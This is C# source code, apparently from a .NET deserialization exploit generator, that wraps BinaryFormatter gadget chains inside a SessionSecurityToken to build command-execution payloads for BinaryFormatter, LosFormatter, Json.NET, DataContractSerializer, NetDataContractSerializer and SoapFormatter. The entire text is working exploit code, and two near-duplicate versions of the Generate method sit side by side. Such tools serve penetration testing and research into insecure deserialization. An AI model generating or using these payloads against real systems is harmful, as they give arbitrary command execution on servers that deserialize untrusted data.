private string GetB64SessionToken(string b64encoded) { var obj = new SessionSecurityTokenMarshal(b64encoded); string ndc_serialized = SerializersHelper.NetDataContractSerializer_serialize(obj); Regex b64SessionTokenPattern = new Regex(@"\<SessionToken[^>]+>([^<]+)"); Match b64SessionTokenMatch = b64SessionTokenPattern.Match(ndc_serialized); return(b64SessionTokenMatch.Groups[1].Value); }
public override object Generate(string formatter, InputArgs inputArgs) { Generator generator = new TextFormattingRunPropertiesGenerator(); byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs); string b64encoded = Convert.ToBase64String(binaryFormatterPayload); if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) || formatter.Equals("objectstateformatter", StringComparison.OrdinalIgnoreCase)) { var obj = new SessionSecurityTokenMarshal(b64encoded); return(Serialize(obj, formatter, inputArgs)); } else if (formatter.ToLower().Equals("json.net")) { string payload = "{'$type': 'System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'SessionToken':{'$type':'System.Byte[], mscorlib','$value':'" + GetB64SessionToken(b64encoded) + "'}}"; if (inputArgs.Minify) { payload = JSONMinifier.Minify(payload, new string[] { "System.IdentityModel" }, null); } if (inputArgs.Test) { try { SerializersHelper.JsonNet_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else if (formatter.ToLower().Equals("datacontractserializer")) { string payload = $@"<root type=""System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""><SessionSecurityToken xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns=""http://schemas.datacontract.org/2004/07/System.IdentityModel.Tokens""> <SessionToken i:type=""x:base64Binary"" xmlns="""">{GetB64SessionToken(b64encoded)}</SessionToken> </SessionSecurityToken></root>"; if (inputArgs.Minify) { payload = XMLMinifier.Minify(payload, null, null); } if (inputArgs.Test) { try { SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type"); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else if (formatter.ToLower().Equals("netdatacontractserializer")) { string payload = $@"<root><w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" z:Id=""1"" z:Type=""System.IdentityModel.Tokens.SessionSecurityToken"" z:Assembly=""System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns=""""> <SessionToken z:Type=""System.Byte[]"" z:Assembly=""0"" xmlns="""">{GetB64SessionToken(b64encoded)}</SessionToken> </w></root>"; if (inputArgs.Minify) { payload = XMLMinifier.Minify(payload, null, null); } if (inputArgs.Test) { try { SerializersHelper.NetDataContractSerializer_deserialize(payload, "root"); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else if (formatter.ToLower().Equals("soapformatter")) { string payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/""> <SOAP-ENV:Body> <a1:SessionSecurityToken id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/System.IdentityModel.Tokens/System.IdentityModel%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089""> <SessionToken href=""#ref-3""/> </a1:SessionSecurityToken> <SOAP-ENC:Array id=""ref-3"" xsi:type=""SOAP-ENC:base64"">{GetB64SessionToken(b64encoded)}</SOAP-ENC:Array> </SOAP-ENV:Body> </SOAP-ENV:Envelope> "; if (inputArgs.Minify) { payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter); } if (inputArgs.Test) { try { SerializersHelper.SoapFormatter_deserialize(payload); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payload); } else { throw new Exception("Formatter not supported"); } }
public override object Generate(string cmd, string formatter, Boolean test, Boolean minify) { Generator binaryFormatterGenerator = new TypeConfuseDelegateGenerator(); byte[] binaryFormatterPayload = (byte[])binaryFormatterGenerator.Generate(cmd, "BinaryFormatter", false, minify); string b64encoded = Convert.ToBase64String(binaryFormatterPayload); if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase)) { var obj = new SessionSecurityTokenMarshal(b64encoded); return(Serialize(obj, formatter, test, minify)); } else if (formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase)) { var obj = new SessionSecurityTokenMarshal(b64encoded); return(Serialize(obj, formatter, test, minify)); } else if (formatter.Equals("objectstateformatter", StringComparison.OrdinalIgnoreCase)) { var obj = new SessionSecurityTokenMarshal(b64encoded); return(Serialize(obj, formatter, test, minify)); } else if (formatter.ToLower().Equals("json.net")) { string payload = "{'$type': 'System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'SessionToken':{'$type':'System.Byte[], mscorlib','$value':'" + GetB64SessionToken(b64encoded) + "'}}"; if (minify) { payload = Helpers.JSONMinifier.Minify(payload, new string[] { "System.IdentityModel" }, null); } if (test) { try { Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } catch { } } return(payload); } else if (formatter.ToLower().Equals("datacontractserializer")) { string payload = $@"<root type=""System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""><SessionSecurityToken xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns=""http://schemas.datacontract.org/2004/07/System.IdentityModel.Tokens""> <SessionToken i:type=""x:base64Binary"" xmlns="""">{GetB64SessionToken(b64encoded)}</SessionToken> </SessionSecurityToken></root>"; if (minify) { payload = XMLMinifier.Minify(payload, null, null); } if (test) { try { var xmlDoc = new XmlDocument(); xmlDoc.LoadXml(payload); XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root"); var s = new DataContractSerializer(Type.GetType(xmlItem.GetAttribute("type"))); var d = s.ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml))); } catch { } } return(payload); } else if (formatter.ToLower().Equals("netdatacontractserializer")) { string payload = $@"<root><w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" z:Id=""1"" z:Type=""System.IdentityModel.Tokens.SessionSecurityToken"" z:Assembly=""System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns=""""> <SessionToken z:Type=""System.Byte[]"" z:Assembly=""0"" xmlns="""">{GetB64SessionToken(b64encoded)}</SessionToken> </w></root>"; if (minify) { payload = XMLMinifier.Minify(payload, null, null); } if (test) { try { var xmlDoc = new XmlDocument(); xmlDoc.LoadXml(payload); XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root"); var s = new NetDataContractSerializer(); var d = s.ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml))); } catch { } } return(payload); } else if (formatter.ToLower().Equals("soapformatter")) { string payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/""> <SOAP-ENV:Body> <a1:SessionSecurityToken id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/System.IdentityModel.Tokens/System.IdentityModel%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089""> <SessionToken href=""#ref-3""/> </a1:SessionSecurityToken> <SOAP-ENC:Array id=""ref-3"" xsi:type=""SOAP-ENC:base64"">{GetB64SessionToken(b64encoded)}</SOAP-ENC:Array> </SOAP-ENV:Body> </SOAP-ENV:Envelope> "; if (minify) { payload = XMLMinifier.Minify(payload, null, null, Helpers.FormatterType.SoapFormatter); } if (test) { try { byte[] byteArray = System.Text.Encoding.ASCII.GetBytes(payload); MemoryStream ms = new MemoryStream(byteArray); SoapFormatter sf = new SoapFormatter(); sf.Deserialize(ms); } catch { } } return(payload); } else { throw new Exception("Formatter not supported"); } }